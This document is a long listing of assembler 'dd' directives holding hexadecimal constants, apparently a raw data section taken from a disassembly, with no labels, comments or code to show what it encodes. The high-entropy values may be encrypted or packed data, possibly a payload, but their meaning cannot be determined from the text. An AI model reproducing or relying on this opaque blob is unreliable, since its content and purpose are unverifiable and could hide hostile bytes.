dd 5EEC101h, 14021008h, 459A6A62h, 0D9C9C3E2h, 0E008AD4Ah
dd 48792E2Eh, 0D11CC966h, 58F1D85Ah, 0D84E27B9h, 0CEC55712h
dd 0F7A06CF8h, 899E57D7h, 91C5149h, 646269E9h, 812FCD57h
dd 2963BBBFh, 28DFC97Fh, 4AFCB4D0h, 9CAF5017h, 46276877h
dd 25E3C65Bh, 30546702h, 0C96560CFh, 12702D17h, 0FFEC660Fh
dd 18BB7F00h, 1C5C327Fh, 0D2E9EB31h, 2B8979CFh, 646809F1h
dd 925AE9C4h, 0C9755EDFh, 45982156h, 0D268B689h, 3BA55902h
dd 0EECD315Dh, 5186BCB0h, 795C0287h, 87784B24h, 82525331h
dd 6AC05662h, 0F62520E9h, 0B661595Ah, 8000F8A1h, 0EBE62AC3h
dd 2F0CE364h, 1350A5CBh, 4847B074h, 5702D863h, 46278C1Bh
dd 0A612FB41h, 0E41BAFFFh, 8C24E16Dh, 47C50CAFh, 20A4B324h
dd 52D588C1h, 0F020EACDh, 0FEEDB238h, 0E0C017C8h, 92460407h
dd 0B4A812DBh, 0ADD8681Ch, 77E2EEC6h, 4A7D621Bh, 4A0F8EA8h
dd 6F08B031h, 0A0531F40h, 0E42C8CF9h, 5E60901Eh, 58B8D8BBh
dd 2F9E2D06h, 2C177Dh, 1E2C2589h, 0C15C035h, 0F0314E04h
dd 14B43BE9h, 0F2594BCFh, 0B268C250h, 919ADD3Bh, 0FDF84B4Ah
dd 0CE5DE975h, 2D1D4F00h, 30F30506h, 3E03310h, 181F0609h
dd 2912FD5Bh, 65135ABCh, 0ECDAA442h, 0DD856B3Ch, 2E680A19h
dd 0C4698C12h, 6D13736h, 52CA6C35h, 2FEC1650h, 612D3258h
dd 7F4C6218h, 0EEF13C20h, 0FCA49ACCh, 252DE4ADh, 74896475h
dd 8351885Eh, 49045ECEh, 0BE66CD20h, 5CC316C3h, 2F5541C6h
dd 0E4C6B454h, 0C1330DEh, 836035ABh, 9C73D8AEh, 54B41518h
dd 62026D40h, 29D6283Ah, 8067B700h, 0E1A85EE7h, 91C7D8A7h
dd 1CBDE913h, 0ABD29AA3h, 21A7D04Bh, 58C201B6h, 72988FBDh
dd 6CCA3B27h, 317B4BE0h, 6B17062Eh, 69027288h, 31BC9800h
dd 8103474Ah, 646F2DE2h, 87EAB06Dh, 6B84307Eh, 0D4E3418h
dd 0E04A0F27h, 3825C2BEh, 0E9930902h, 0C3C1D28Eh, 41D284DCh
dd 317A5E5Bh, 4E31A93h, 0BEFBCC07h, 3250894Bh, 0F81D6308h
dd 0FE1FF5BAh, 9FD258F7h, 0AFB91F7Bh, 0CA31CFF2h, 2B055989h
dd 1009E2D3h, 3262386Ch, 1257564Ah, 3720F718h, 163D6CC2h
dd 2CF22E76h, 0D509D113h, 521116AAh, 925DB2A7h, 0C92FFF39h
dd 0DDE02EE4h, 0CC7C5EF6h, 9DB05E78h, 6A29EB0Bh, 0A5B7F68Eh
dd 0C7203FD0h, 0A259612Fh, 605435E5h, 0E16AEE75h, 5E16620Dh
dd 0D1892FBDh, 982F53C5h, 5D5E684Dh, 7C80EE44h, 0E912C83Ah
dd 8734ED24h, 895C2A7h, 0A24499A1h, 7FC47EECh, 0FB6800D4h
dd 0F474D01Ch, 533DBAFEh, 55C8553h, 0C8DB6F3Bh, 1DF25695h
dd 0DE804058h, 0D5E11517h, 0F978297Eh, 12052EEAh, 91D0F1B2h
dd 5E34685Ah, 3391CC11h, 7ED6F626h, 569BE90Bh, 0D0CF8FEEh
dd 0D14D1940h, 0DF1A87EFh, 7508DBF7h, 0B99F7263h, 0BDC78B02h
dd 2C128E5Ah, 5D0BAE6Eh, 0AEB85C80h, 0D0ECC46Dh, 74E5681Bh
dd 9B3C6C9Dh, 3222441h, 455D7940h, 6EFFEDE0h, 0E96C660Dh
dd 0CD2FF101h, 486E66F1h, 16104EBEh, 105989A6h, 4FBF0F26h
dd 100ADC8h, 30E36852h, 0F02F1D25h, 3418905Eh, 0F0C213Eh
dd 0A1ABFCD8h, 0BD28BB8Ah, 31C39A98h, 0B7A03AE0h, 7A342A20h
dd 0B7B178F9h, 41F5FE0Ch, 2C5FE5FEh, 0CB09A5C6h, 0CBD202D8h
dd 42E46217h, 0F4CD90A2h, 0D022C96Fh, 0B94CBF13h, 5AD2444Bh
dd 299568ECh, 6932579h, 76008F95h, 0FB69879h, 31F75C31h
dd 4A2A8B4Eh, 5CCB05BCh, 4D626759h, 6540079Ah, 0C25994A0h
dd 0E9EA3319h, 0A30FD182h, 2288AE54h, 0B20B2D7Bh, 0E978A57Ch
dd 3D414A02h, 5AF689AFh, 0C7A7D52Dh, 0FAB165E9h, 0EDCB4773h
dd 4DBB38EFh, 0B4589C40h, 1BFAC339h, 0B7297F13h, 824E8A9h
dd 0A559AD88h, 555DEE42h, 2D063094h, 31A5076Ch, 2BEF12D2h
dd 7C9E0460h, 903FACCCh, 0FEF54B27h, 81F0853Eh, 6B7AE361h
dd 34BF8E29h, 0AD0E8316h, 11450084h, 0F3811B4Eh, 0D84A268Fh
dd 0E10F166Eh, 689C18E9h, 0DB7E7331h, 0A207B98Bh, 0DC56751Ch
dd 0FCA8A365h, 0E4314B3Bh, 0F7C73127h, 494A18E2h, 5B9D27Eh
dd 11D66840h, 421030BAh, 0FE05D9F6h, 0A4FDE9C1h, 0DA623FA3h
dd 5C04E55Dh, 902723EEh, 5B285D5Bh, 3A2E41FCh, 277ED3CAh
dd 7BD405C3h, 7FF977E2h, 10984691h, 0E40999EFh, 0D357778Dh
dd 4127E58Ah, 81EBCD1Ch, 0D5ACC629h, 0C56E97D8h, 3428AF46h
dd 51D744E9h, 2373B902h, 78411B13h, 0E1C104D0h, 0C44F442Ah
dd 0D18EE8F7h, 57551FF8h, 0C8525B52h, 0CF14D2F8h, 48013F97h
dd 1294977h, 0CF21CEh, 0FA3EE908h, 0F029E4B5h, 0ADDD56B1h
dd 0A8D2A552h, 4EFD22Bh, 0AC3183h, 215D5E55h, 8D789CF1h
dd 46290754h, 36093A20h, 7C60C640h, 0FD2D1709h, 47E909ADh
dd 62DBFCC3h, 36D6A93Ch, 0B43DE9D8h, 656525C6h, 0EB753025h
dd 0F05BC48Ah, 402FFD05h, 611E3AB4h, 0A3C034B4h, 294C247Eh
dd 72D51C8h, 28CB02h, 6856E389h, 186EB62Dh, 2F67441Fh
dd 78611BA2h, 0A27FDAE9h, 55D6B056h, 4884EEAFh, 0E11FFCAEh
dd 105F757h, 1336E743h, 84636044h, 6DF49D4Bh, 0B9F64AEFh
dd 5ED2DE91h, 0CA7BB5F1h, 54ED92BCh, 0A367BAD3h, 2C0178A4h
dd 0D1E8D02Ah, 96F13B83h, 2ECD8FDh, 65B12451h, 758F112Ah
dd 834A671Fh, 93F702BBh, 0F4A16CD6h, 87D112A0h, 2661091Dh
dd 50A62EAFh, 85081921h, 31B901C9h, 2537EB29h, 5365EC78h
dd 2533CB58h, 96DAEE07h, 9FC92DABh, 55B834D5h, 6DE18DB7h
dd 0EDCE042Fh, 0B73CC297h, 2B5F0F89h, 68836089h, 0BD9944Ah
dd 0B52062E9h, 87C68059h
dd 7EF6F0FEh, 0F925AC94h, 2E0CEDAEh, 612973D2h, 0B135CA68h
dd 9902C2Ah, 850FDB04h, 94D1ABCBh, 81886761h, 7427F42Dh
dd 7FB1029Ah, 32C01F34h, 0C12DEA83h, 0E1EF8879h, 7253F425h
dd 0E92F687Fh, 0B7116066h, 7D3F3DCEh, 6C1E325Ch, 0F8ED182Bh
dd 70F51C51h, 20ACE429h, 0EE872708h, 0BFFD6C60h, 0E9898209h
dd 0F1BD42BDh, 98344ABh, 6922D921h, 92B80277h, 7042093Ch
dd 4D347EFAh, 0DBFEEE77h, 30921B9Dh, 68F2096Bh, 8CDB23F2h
dd 0E46FD124h, 0CBAA1949h, 6F454E50h, 77ECE6A4h, 24887FCBh
dd 116882EFh, 96573E71h, 9E92F65h, 0A35C4E0Bh, 9A17AC2h
dd 0D8F489CAh, 3A2CDE9Dh, 9C6DB981h, 3F43574h, 0F8144F71h
dd 81100F5Fh, 18019277h, 0E7C14F58h, 1D48C02Eh, 300BE45Eh
dd 0CECC10E9h, 61F7F688h, 0E2C116D7h, 58C22F06h, 0DCA3892Dh
dd 0D9EB010Ch, 0D83B0A7Ah, 2018E1CBh, 7E1851B3h, 67DB2C4Dh
dd 306E03E8h, 0C0913FAh, 63D1DE5Fh, 8239A0FEh, 10016451h
dd 895B20EAh, 5394D0h, 7AE7069Dh, 5604C201h, 11392BBEh
dd 0FD01ACF8h, 0E937CA34h, 6E57E61Eh, 0B240B5D3h, 0DA829395h
dd 438E19D6h, 74583415h, 0A5002511h, 2D52AD5Fh, 60417957h
dd 4BD06A0Dh, 29B7248Dh, 0DBE4A3AFh, 0B83600B6h, 14F40699h
dd 0B52F3540h, 2F95C32h, 0EEC158C6h, 0CF985463h, 340C7A2Dh
dd 961A23E9h, 9709585Dh, 47F4BE26h, 92ECF2E5h, 0A881625Eh
dd 2953C9B4h, 0E3D1F512h, 0D4A342ADh, 77C820B6h, 5B7F243Ch
dd 78F301E3h, 48C056h, 12D2677h, 40BA526Dh, 3EB39F0Bh
dd 0AC0B9AE2h, 0DFC63C68h, 0A4117FCh, 0E32E55F5h, 54BE3862h
dd 11B709ABh, 0F42A5EF8h, 8B9D4949h, 8436292Ah, 640FC725h
dd 8F06326Fh, 0C35FDF75h, 0E15F7DD3h, 0CC2ACAA0h, 0BD9A79C4h
dd 46035A78h, 88520434h, 0DFF592C6h, 0C25A9CB0h, 58FCC783h
dd 6AB309E6h, 0E30413D9h, 3774EA2Eh, 1C6964A0h, 8B4D458Ah
dd 2484DDF7h, 0B0B9007Ah, 587B3411h, 0CA4C4301h, 8620824Ch
dd 3FBAE6A1h, 0CC5E100Bh, 0E1C7052Dh, 0C023747h, 0F1170DE2h
dd 0ECF1304Bh, 5AAEC405h, 22D7FEB7h, 0D830E9C3h, 1C8B25A1h
dd 0FED1CC5Ch, 0ED105D62h, 6EBE0274h, 9035E80Fh, 817EB9B7h
dd 37FEE31h, 0BD54320h, 11EE8012h, 0F1F7B2F8h, 0FA9364E8h
dd 0B52850B5h, 80696059h, 0C1800CBDh, 90C9E658h, 0B2272456h
dd 0E7626EA2h, 6BC06850h, 581F7DEEh, 0E9C4C083h, 31AEA81Dh
dd 0F3A47678h, 2CE54ECh, 4A691E2Dh, 3932D831h, 0B35270E9h
dd 4F60AF27h, 309DF828h, 0C0ABFC82h, 431286FFh, 0DCE35644h
dd 0EF7231C1h, 2849949Eh, 7E3C0C1Bh, 264E0AB0h, 0B5AD9495h
dd 16535D1Fh, 5CA5C2F9h, 6A0C5341h, 2C3AD58Ah, 6E5044CFh
dd 0E28EAFDh, 29D409E6h, 4710462Bh, 5DA001EEh, 68952AACh
dd 3D415690h, 949350BBh, 2540F97Fh, 2DAEC905h, 0BCB8532Eh
dd 567C0610h, 180C46B8h, 18DF74F7h, 13105AEBh, 880F1417h
dd 0F5934A0Dh, 1C08067Bh, 0E5148Bh, 68525720h, 0D12D651Fh
dd 6008D10Ah, 693363F2h, 94884C4Fh, 877D49E9h, 4B176813h
dd 42D65421h, 0A6E535Ah, 26066855h, 1CEF00F2h, 2932A51Bh
dd 82AA0EDh, 534EE9FEh, 5EBE0800h, 2408667Fh, 2DEDEF7h
dd 121B678Bh, 0D4514275h, 0A9AC3AB8h, 0BCD0132Bh, 0B5B896A9h
dd 85442ADh, 3E096F6Ch, 7F22FC1Bh, 58505282h, 35D62461h
dd 7FD801CAh, 0D2787CE6h, 7AC05849h, 0B3405F7Eh, 0D3AB4208h
dd 0C072F6CDh, 0E91A523Bh, 34695D0Ch, 1CB53E2Dh, 492CD0F5h
dd 2C47DC5Bh, 0BB618082h, 50E533B5h, 14C7F21Ch, 0FE30E15Ah
dd 0DF435700h, 0A316E94Ch, 25825AB4h, 4817554Bh, 9D5E0898h
dd 6F570969h, 0E90B009Bh, 0BFFC3286h, 0E85FED93h, 3C4D44DFh
dd 2D6E0E80h, 0A2883E85h, 90E9138Eh, 858A942Dh, 3EDCA198h
dd 77BDF357h, 0B114EBF2h, 672302BDh, 42E06940h, 0DB792AF9h
dd 14F50CC1h, 0E3F0368Eh, 0EA420259h, 6BE9430Fh, 7925845Eh
dd 43D2E985h, 66812575h, 26058AA0h, 17F8FCF3h, 2D8E43B0h
dd 0BEA2CBBh, 6782C881h, 0D86A707Ch, 0F1CE925h, 0F5AB81B2h
dd 43BA03Ch, 0F2D403A6h, 6DF0968Bh, 0E928407Ah, 8884292Ch
dd 2C093197h, 0F4A48921h, 333FC253h, 4A530500h, 0AA3E4CDBh
dd 0D1B57B20h, 71CE08DDh, 0F7915900h, 0ED5051D0h, 0C17C1E60h
dd 0E767EE89h, 0A5D9D794h, 3E416E90h, 212575DBh, 3BD16030h
dd 81073A1Bh, 7C7C2ACAh, 29564882h, 9D611ECBh, 0DC1F32CAh
dd 73BFC0AFh, 770E3E03h, 0F12C5E98h, 71F055E6h, 0EA85C860h
dd 1ADA56B3h, 0B6F20179h, 0BE5C9ACAh, 2EFA494Fh, 281FC5DEh
dd 9C305383h, 0E941D8EEh, 10B00E2Eh, 9CACFFA8h, 11E33A97h
dd 91563DF6h, 4A72A096h, 4DB380BEh, 0D2AA49FEh, 3006B45Dh
dd 0EB173091h, 6F484750h, 0BF9F12BEh, 0A6233ABh, 3E356748h
dd 0FEFB92F9h, 0E883FC44h, 285399BFh, 558B963Bh, 0FE42110h
dd 93FF380h, 5F1778B7h, 9033695Ch, 5A138490h, 1356A220h
dd 0FDE996BFh, 82BD3A22h, 6A0B5965h, 0F4DF89F6h, 0C84625E3h
dd 2E2930BFh, 3C129A03h, 9717E0B2h, 400022D5h, 0BCEAF585h
dd 0F74282BCh, 680075DAh, 916F55Bh, 0A4E4F24Dh, 0F651C381h
dd 9EDA5D02h, 0E208C591h, 0CFDA2F32h, 72CC682Fh, 0D6472619h
dd 0F75B9334h, 38BC14Bh, 673863E9h, 8864BE78h, 5200702Eh
dd 0F58889B6h, 0E8E05Ah, 0B7535966h, 0BFE780F4h, 0B1E3E92Ah
dd 0C2C2C39Fh, 43CCA409h, 308867AEh, 0C1138F0Fh, 8105E201h
dd 2066E4C2h, 398B0CBCh, 0DAF4141Ah, 8901A10Bh, 662F000Dh
dd 96768D74h, 3AC301BFh, 0BE183D03h, 37BA9C0Ch, 20FB7AA5h
dd 303BADACh, 8C4299D7h, 0B832CE99h, 0B80321C9h, 241BCD2Dh
dd 0CB04D9F7h, 58F9009Dh, 9316851h, 59261714h, 0E7021441h
dd 52BBF8CAh, 582DEC9Bh, 8062A74Bh, 8B562EADh, 80835A9h
dd 25542594h, 4A31E978h, 0E562E91Bh, 3588BAAh, 3074DCBFh
dd 0D84E3561h, 4F30EC0Dh, 62B0CE35h, 30033433h, 103A841Eh
dd 0CF20DE08h, 8049B701h, 0F828FAF7h, 2C398C6Fh, 0D1683F12h
dd 77D4ADA8h, 0BCF47225h, 0D9F60F07h, 0C9FED120h, 0CFFC60E9h
dd 0B545F581h, 93CF193Dh, 0FF3CB9C8h, 4ACEAA58h, 6880B064h
dd 317A4BBCh, 2F8774D7h, 1F8675Dh, 0C15C2E77h, 1BFC08E1h
dd 17649DDAh, 92413998h, 718C2623h, 6CEC5C0Bh, 0F997085Fh
dd 0CEC85BD4h, 426A94C1h, 0D1F42F41h, 5280574Bh, 1DF61EB4h
dd 62022579h, 87E96BB3h, 13B4C6D8h, 0AC556A68h, 79FC1B8h
dd 42866713h, 2ECBBEE9h, 28F6419h, 0C3906EE0h, 0B7BF101Ch
dd 0D410CF48h, 0CA0338F1h, 0B075CF44h, 0B8BAEF41h, 0E3D7FE62h
dd 5639F2B5h, 2AF12F4Ch, 0C48208CDh, 45123BA1h, 7954CBE0h
dd 88180083h, 356AAD2Fh, 0A225FAB2h, 8096C2B4h, 0E032EA27h
dd 6857003Ch, 26B00B8Ch, 3B9E50E9h, 0C86153Dh, 7356189Bh
dd 18D2E585h, 0C558E5Fh, 6A067EF9h, 4EDC11Fh, 56A20170h
dd 30E90C3Ch, 0CFA92C73h, 0E2D250D8h, 1A1E1169h, 7F2C102h
dd 4C76580Eh, 30BF08A0h, 0B8C1383Dh, 816DE60Dh, 121CB2FEh
dd 8C622BB8h, 5E14CC57h, 0E208E154h, 856F22FDh, 0B3A07FC6h
dd 53B76D3Dh, 0BF1CE4BFh, 0E917EFBEh, 0ECEDB253h, 1F38CD84h
dd 69754F89h, 0A52B31CFh, 0FB3C3139h, 89001892h, 4B3A68E2h
dd 0C5DEE853h, 6AF987E7h, 9C38F079h, 0DD310F00h, 0E3C743E6h
dd 799D5BEEh, 0A93CC78Bh
dd 0FCC61CB1h, 1C178456h, 9810FE01h, 5EB14C08h, 76AF5C2Dh
dd 2A0595C1h, 0F0D3BFA2h, 6FFD8763h, 1AC32B8Dh, 3F99E921h
dd 4E0850DEh, 771028D5h, 2AC4243Dh, 518411B1h, 2FD0CD74h
dd 0D9D0D5Fh, 5823C6EDh, 2D7C8153h, 99D493B3h, 0E9130973h
dd 1968A0A9h, 73003D4Dh, 61CE8170h, 60281605h, 103E8646h
dd 8EA07D34h, 0DB7D5A69h, 0B822976h, 31540508h, 12230AC8h
dd 9CAF280h, 6D6AB662h, 9DF604A3h, 6A4F757Fh, 535AA500h
dd 5AFE3AB3h, 60CCA8CBh, 7C8EB922h, 7727488Dh, 0A6952209h
dd 8A04CC5Ch, 0E5C14C3Bh, 23660703h, 149FA74Ah, 80A7B355h
dd 6F1B7BDAh, 1644032Dh, 0D0F7061Ch, 2DFC0458h, 42E159B2h
dd 57D6B1D8h, 2A2068C1h, 21B05307h, 0C240297Ah, 1DC53980h
dd 0AFD6EB96h, 3D71885Dh, 6E3C7EE9h, 0FC048313h, 0B468E067h
dd 60599C6Ah, 0E620B93h, 294AE973h, 0C4FA4774h, 7ECBBEA4h
dd 0FD409C2Dh, 7F00F635h, 5F254496h, 166AE123h, 0E0D2E948h
dd 0A50ABFB3h, 0AD715E81h, 977C1A3Eh, 82A51F3h, 20316BA4h
dd 412B0BD5h, 53445F26h, 94CF406Fh, 73600166h, 7E68E50Ch
dd 44E6902Dh, 5848C5FEh, 0F1F7E1C0h, 91A25D30h, 0B8C13161h
dd 74FE04A7h, 163A82ECh, 7EF45FD8h, 570838B9h, 14CB8190h
dd 7056D621h, 677E5C96h, 0EB1C157Ch, 9E053E5Dh, 0F699D831h
dd 8240F225h, 1627426Ch, 0F5C3E97Eh, 0A84821CDh, 0E1674C1Eh
dd 0AB72E8CFh, 4B5BC6DCh, 7B33675Ch, 0A938AF2Ch, 1466BC40h
dd 95160E2Dh, 5B5C83Bh, 0DE2CFB0Eh, 27B8FE50h, 88C854D8h
dd 716146E9h, 0CCB60F47h, 4A9268F4h, 0B246A565h, 82515819h
dd 3CBE1DBh, 407D6F6h, 8006EEC0h, 0F7889931h, 47DCB46Ch
dd 7692CCEh, 0BC9D7EF8h, 5182D948h, 4FCA6FE9h, 8002A0D7h
dd 241B4E28h, 1453EF2Dh, 6852A265h, 0A9BB53C1h, 11A02E02h
dd 5819CE70h, 63D059CBh, 1BBB2D01h, 4B933A15h, 0F2D9EACBh
dd 0F4ED0091h, 11A7918h, 0BF9056D5h, 694B660Bh, 9FFA6664h
dd 210F5C41h, 8CE26BEDh, 8DB8804Ah, 757C3F1Bh, 44AF7F27h
dd 8E69578h, 18D03349h, 0E17BA1E7h, 7D3B4CC7h, 0DFBD5C61h
dd 84FA47ABh, 18909C9h, 5A595219h, 0CC053D60h, 0D5560606h
dd 13F56324h, 0DE59CE09h, 0E28B518Eh, 0B3DF5D89h, 68153EC1h
dd 0DF460BADh, 0C4B44FF4h, 613B5BD1h, 2A5AD3F8h, 1588E3E3h
dd 537C2E30h, 81210DDCh, 3B0D78F2h, 80A16653h, 1FE5F2DEh
dd 4F6A3DE7h, 0AC8B4F64h, 0AA2940A5h, 0D41AD60h, 0D8EDA17Ah
dd 0FB30FE3Dh, 694CF16Ch, 0BFEC6C5Ah, 5D3E0070h, 5BDA3531h
dd 405061AAh, 6881D2FAh, 67BDF6C2h, 6BAA925Bh, 1DF3B357h
dd 4371A556h, 42D2F76Ch, 0A0CC0666h, 24559817h, 16A454F6h
dd 1322C401h, 19D70908h, 5F830F7h, 0B9F1837Bh, 300A8422h
dd 0EFF59ECh, 269C023h, 2855E681h, 0F0F12ADEh, 50E3207Fh
dd 249834B0h, 0C84F243Ah, 84162799h, 2E91867Eh, 0D13F10A8h
dd 6AAC95DDh, 5A01A3DCh, 108AED5Ch, 58641CB8h, 25BBC7CDh
dd 0E938FAADh, 0CA6B9754h, 0AD04B8BAh, 7D6870C1h, 57C05E2Ch
dd 0A94BF2BFh, 4CB92F02h, 7F4F0DC2h, 2726D8Ah, 101F9D53h
dd 70F2AE80h, 0DF9C49DEh, 0DE0C5712h, 0BE2877CBh, 68998854h
dd 39F05813h, 1B639FECh, 61E9DAEAh, 0C0552456h, 1CB64508h
dd 1307205Dh, 0AB5AD529h, 79055761h, 0E5DAE504h, 6AB33512h
dd 883BA32Dh, 0B140ED27h, 2E23CC1h, 0D4C1D627h, 1A68D4F7h
dd 58EF5354h, 0D4B81F4Ah, 0A35B49DEh, 594BAAD9h, 0CAE962CDh
dd 0C1B53C58h, 0FD048305h, 12624FB2h, 9615825h, 9058F0Dh
dd 0D1797325h, 7D5A5E18h, 0F00868E2h, 9874E410h, 0C770972Dh
dd 5964A791h, 0DF647BF1h, 80E8D252h, 4C8CBD9Dh, 44164Ch
dd 0F58108EDh, 767910EBh, 980F246h, 89070ACBh, 3AD9AA41h
dd 0FE64CE09h, 0F27A62Ch, 73C94265h, 1CCEEE2h, 1267A320h
dd 9F8015Ah, 72689608h, 1501CBC6h, 6858632Ch, 0B66E2DDCh
dd 6EB4272Fh, 0A880C8ECh, 67783501h, 0E6F1759h, 0B261813Fh
dd 825ABF04h, 3DE903CAh, 0ED65D7A9h, 7708ADA6h, 9EF02FCBh
dd 0EA80634Fh, 1E8B6857h, 0D670BB44h, 85F081C1h, 0C6CC88C8h
dd 71BD0172h, 6A301125h, 0A2F6D91h, 3401543Dh, 11FEE74h
dd 1A95E3C7h, 5541C08h, 16875889h, 2900974Bh, 5F7631BBh
dd 0BD555E01h, 74096CD8h, 0F0BE173Eh, 77139E76h, 280431D3h
dd 0B6ADF021h, 990A2CEh, 390F3068h, 146FD6E5h, 0E735DCA0h
dd 5B88AA26h, 0C87A2626h, 6D1F0BC5h, 173D1953h, 0DF4E3BAh
dd 8BEC975Ah, 6FFDE7FEh, 66B2F777h, 25AF0A07h, 781E5C80h
dd 29313D97h, 28956AC2h, 3F125966h, 7C638C34h, 0C472A16h
dd 4FE61725h, 0F3EEC878h, 1D2F4428h, 0A28AF72h, 621FDB50h
dd 0E5C11260h, 2FEBB002h, 255E9740h, 30A2D989h, 0CE759173h
dd 0B10DF68Bh, 312A0831h, 0AC0F2A3Dh, 493C8825h, 45F153FEh
dd 59017538h, 0EE2BA92Dh, 7DA1D414h, 7412D12Dh, 0EB072079h
dd 0AFE91141h, 0C24E1A28h, 5C70015Eh, 0CDFE5A1Fh, 0D3C534D2h
dd 9A0BEECh, 0DDA2E9C0h, 0C4A7FC5Eh, 3EA88C5h, 5BA1822h
dd 3D681101h, 0DACD265Ah, 4C291101h, 0B75908E0h, 12B09665h
dd 0B36A0D68h, 6115BDA9h, 0E42D8B3Fh, 2508DEA9h, 0C0060888h
dd 415F5409h, 1F6D8784h, 2F1811Dh, 2918590Fh, 0E8030FD8h
dd 45401605h, 0F166AB1Dh, 0B62A20F2h, 0AA885BF3h, 5590429h
dd 0B023E971h, 0B1D3BBC2h, 258887F0h, 0C8465B03h, 5EE9501Dh
dd 27CA23F3h, 43A084B4h, 1D76199Fh, 6660D1F6h, 7A206717h
dd 0E1CBE910h, 0B33B8C3Bh, 73E2256Dh, 0E3FE2DB0h, 3E26E226h
dd 626D6884h, 0F2B167EEh, 8703281Ah, 9A4005EAh, 4062D373h
dd 53C7C18Bh, 0E9262344h, 0E2A761CFh, 0E9BDF909h, 0F90445Ah
dd 51477607h, 0B65AE92Eh, 0F939E2ADh, 0A0DEA58Eh, 5CD7E950h
dd 0CDE029Dh, 0FB3FF5FAh, 6FD6F9FFh, 97104AB3h, 23680A26h
dd 0D088FF4Eh, 2EB8092h, 0AFE8F381h, 0DE744C27h, 0AA6A159Ch
dd 4549680Ch, 9E4B2835h, 0F12A1BC9h, 67F32B91h, 0E8B580D1h
dd 0D8B64F27h, 591ED15Bh, 29067047h, 485AD017h, 0FCA31509h
dd 69DF687Fh, 3565CE89h, 25E94CA5h, 565CC220h, 4C0B1BC3h
dd 0C3014342h, 7ECA6032h, 0B7102E29h, 492C5B08h, 9A15030Eh
dd 0DB3FE95Ah, 26B95605h, 5FEEF03Ah, 5D0C5650h, 63FD4D84h
dd 0D6D83B0Ah, 30268419h, 0D550DB7Ah, 8FAAD03h, 582DA221h
dd 12512747h, 0F95A307Eh, 0C41AB515h, 5ACDBE5Dh, 9C2A4625h
dd 5C880213h, 9EE49566h, 14908225h, 0CFBE9C48h, 0C824E90Eh
dd 578AD386h, 9AAC645Ah, 22620C4h, 0D51C5F21h, 6A5462ECh
dd 0F74A8993h, 57BC3001h, 542C25BEh, 0A0DF5B7Bh, 0C1242340h
dd 56005511h, 0E97A6617h, 16EBB9A9h, 0AB01209h, 0E1BBD418h
dd 8914D359h, 0F16333D1h, 3064991Eh, 822D300Ah, 0BBFD1AD6h
dd 26D987B2h, 26AE5598h, 25C5286Fh, 60BE5CE8h, 8BD0BDA5h
dd 7AAA565Ah, 85032D7Eh, 793AC562h, 1E7B2D0Fh, 681259FAh
dd 0DAC5F80h, 5E0B10D0h, 9FC232E9h, 740E77Dh, 303FBE56h
dd 0DEF7782Bh, 6C50682Fh, 22353E05h, 6F5C57A7h, 1E448B17h
dd 21EFC830h, 2B13ED47h, 0E85A73F6h, 426B2512h, 0E394DF29h
dd 0F94BE2FCh, 0D64D78CBh, 1CD51010h, 252228BBh, 242B8E7Ch
dd 5E4ED9DAh, 1649BE0Ch, 3DEB1E69h, 0E05056FDh, 0D034035h
dd 49920E61h, 9703982Dh
dd 6AD89F4Ah, 3DDB353Ch, 12D7500Ah, 6DF85913h, 0C50A2EEDh
dd 3BA1B8FBh, 0EC647C25h, 0C8AF0F1Eh, 0F1B767C9h, 8A238868h
dd 3A82EE2Ch, 543D4217h, 113F98DEh, 93602CE9h, 2A63E5C7h
dd 0FD125A14h, 10F51E0Ch, 31659B04h, 935CFB14h, 0CE0D316h
dd 800E6C38h, 666EA33h, 5DF2B1B8h, 6388B02Fh, 0ED03E913h
dd 41D2B2B4h, 0F18F00AFh, 783E0ADAh, 0CBF03BF6h, 0C1A54DE9h
dd 52FC07DBh, 4E7CD37Bh, 0B1007144h, 0BCC180FDh, 6E1C007h
dd 0E987C9FEh, 0EA95119Dh, 8510DD19h, 52D2E61h, 0AADAEB4Fh
dd 9B0814F7h, 0E28100C0h, 519622F1h, 0E0ECC2A1h, 819FDD41h
dd 80C0E98Fh, 0E0D6C97Ah, 45C07375h, 2333CF81h, 0F0184F57h
dd 0D0044EE6h, 0BFE91151h, 75BBC9D1h, 553DF728h, 70F9FE95h
dd 0C7970D4Ch, 0DD6E3556h, 0C4617A8Fh, 0E37A6745h, 0BFDC155Bh
dd 0F3CF1CCCh, 6D01EFCFh, 71619F4Fh, 12F3C92Eh, 0E76BB9ECh
dd 91A7E63Eh, 1F50EE8Ch, 945000C7h, 0E9DE014Bh, 48C3855Ch
dd 0EFD1F791h, 0E047D695h, 5272C6FEh, 8BD95377h, 9CD26968h
dd 66BBBC64h, 0FA25E85h, 260BA10h, 0EB465DB9h, 8868F71Ah
dd 132CC7F1h, 0F618F7A1h, 3955683Fh, 0F8DE4014h, 2DF33F67h
dd 0C6830CABh, 722132Bh, 0E629000Ah, 21784B02h, 7FD1F248h
dd 790F1A96h, 54C2033h, 31641276h, 0E9402124h, 0B41C6EA8h
dd 0F374F019h, 4E798066h, 58DB0CC2h, 3C003D48h, 0E32D4B62h
dd 74DCCB29h, 0D3954CE9h, 84A7C99Dh, 0DF8AAEFEh, 584427E6h
dd 81D359ECh, 112199FFh, 2B73765Bh, 18192C78h, 0EE486BBCh
dd 699DEE45h, 2FF8C121h, 0E84B4E2Bh, 74711736h, 0F05A8CF6h
dd 0DB955F6Bh, 0B9514012h, 7904109Fh, 0D6F8E965h, 85107A14h
dd 47210A7Ah, 5597EF1Ch, 0EA4E52AAh, 0C5C5EC2Ch, 0FC4EE927h
dd 68510561h, 31BF4FC0h, 3FE1D911h, 7DF68ED0h, 2D12484Ah
dd 62C80525h, 0F02F9949h, 94760377h, 0A01A5E20h, 0BC4A7AFEh
dd 71003325h, 35323F27h, 60CC2E68h, 6836607h, 167B0148h
dd 24A9BF70h, 6EC54A99h, 435F41CEh, 0C88DE994h, 0F17BC979h
dd 0EDA059EEh, 0C282FD71h, 0D57D4208h, 99D6D12Bh, 2B340FEAh
dd 8747A90Ch, 5EBEF857h, 8F26A814h, 3696EE56h, 368672EFh
dd 0B2263278h, 623FBB78h, 5530D806h, 0E918AD16h, 0BE30CEECh
dd 0BB7702B9h, 7EEC16Ch, 2C69D641h, 9FE1809Ch, 957EEC19h
dd 0DAB54FC0h, 0A62A1675h, 0EE07C317h, 0E244C248h, 57FB78B2h
dd 0A9E5DAFh, 0A6A690Ah, 0AD7E8677h, 4C5023A2h, 0B2229EF7h
dd 0F33A4F15h, 0E9BA02ADh, 5E1D2715h, 0D19B5357h, 5A59CEA8h
dd 29E86830h, 25F3315Bh, 0DA7C215Eh, 0CA5DE9C2h, 0F6FEEC44h
